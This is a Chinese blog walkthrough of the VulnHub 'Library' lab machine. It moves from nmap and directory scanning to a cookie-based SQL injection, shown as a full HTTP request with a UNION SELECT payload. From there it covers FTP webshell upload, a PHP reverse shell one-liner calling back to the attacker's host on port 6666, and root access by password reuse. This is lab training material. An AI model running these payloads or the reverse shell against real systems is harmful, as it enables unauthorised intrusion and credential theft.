zoukankan      html  css  js  c++  java
  • Library靶机cookie注入-vuluhub系列(二)

    这是vulnhub靶机系列文章的第二篇,具体下载连接去vulnhub或者百度、谷歌搜搜就好...开始进入主题

    1、 首先用nmap扫描网段内存活主机:

    nmap -T4 -sn 192.168.136.0/24

    2、 扫出靶机ip后,用nmap扫描靶机开放的端口:

    nmap -T4 -sS 192.168.136.130

    3、访问192.168.136.130,发现搭建了apache服务,但是此页面没什么可利用的地方

     

    4、 用dirbuster扫描靶机目录,扫出了:

    192.168.136.130/library.php

    5、 访问此目录,然后用burp抓包分析:


    6、 尝试在cookie处进行注入,看respones的返回结果

    7、 先url解码,尝试构造闭合,发现结果多出了一个Netherlands,判断存在注入:

     

    8、  然后在cookie处进行注入,payload如下:

    POST /library.php HTTP/1.1
    Host: 192.168.136.130
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://192.168.136.130/library.php
    Cookie:PHPSESSID=j1qblijk42s45n78536naq1qg0;lastviewed=%7B%22lastviewed%22%3D%3D%22%22%7D (url解码)              "{"lastviewed"==""Netherlands""}"(构造闭合)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15
    
    country=England
    
    Cookie: PHPSESSID=p799o6eg7tthdqod5eocui2rf3; lastviewed="{"lastviewed"==""Netherlands" union select group_concat('
    ',clomun_name) from information_schema.columns where table_schema='library' and table_name='access'--+""}"
    
    database: library
    tables:access   countries
    columns: 
    id
    service
    username : globus
    password :  AroundTheWorld

    9、 sql注入之后,发现username和password,利用其尝试登陆ftp(21端口)

    上传一句话木马到网站根目录,然后用蚁剑连接:

    10、 成功拿到webshell,但是权限只是  www-data,进行进一步提权

    11、利用刚才的ftp任意文件上传,上传一个大马(panda.php)

    //修改权限为777

    12、 因为靶机上有php环境和python环境,所以用php反弹shell命令,执行反弹:

    php -r '$sock=fsockopen("192.168.136.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

    kali用nc开启监听:

    13、成功反弹shell,因为接收的shell终端不标准,我们转成标准的终端:

    14、查看权限,发现还是网站用户权限,我们要提权到root权限:

    15、我们用ftp下载页面的源码进行分析:

    发现这里有个数据库密码,先留着或许有用………

     

    16、我们执行 su – root 用户尝试切换到root用户,发现需要密码:

    尝试了注入出来的密码,发现错误,我们试一波源码里数据库的密码0.0

    我擦,成功提权!

     

    17、 总结:
    1. 扫端口,扫出来的端口要去尝试利用,收获往往意想不到
    2. 扫目录,敏感目录不要忽视
    3. burp抓包分析,发现可能存在的注入点,多进行尝试,尝试构造闭合
    4. 上传马子的时候注意权限问题,访问失败可能是马子权限不够导致的
    5. 马子执行命令不好使的时候,可以用反弹shell来执行命令,注意:要将反弹过来的shell转成标准的终端
    6. 利用一切已知的条件去尝试,例如:root的密码,用数据库的密码尝试就成功提权了

  • 相关阅读:
    dljd_008_jdbc中调用Statement的execute()执行DQL,DDL,DML
    dljd_007_jdbc编程中的statement执行DML/DDL
    【数据结构】可持久化线段树
    【数据结构】可持久化并查集
    【图论】TarjanLCA算法
    【图论】KruskalMST算法
    【基础】标准模板
    【数学】位运算
    【数据结构】Trie
    【数据结构】线段树(名次树)
  • 原文地址:https://www.cnblogs.com/PANDA-Mosen/p/13178316.html
Copyright © 2011-2022 走看看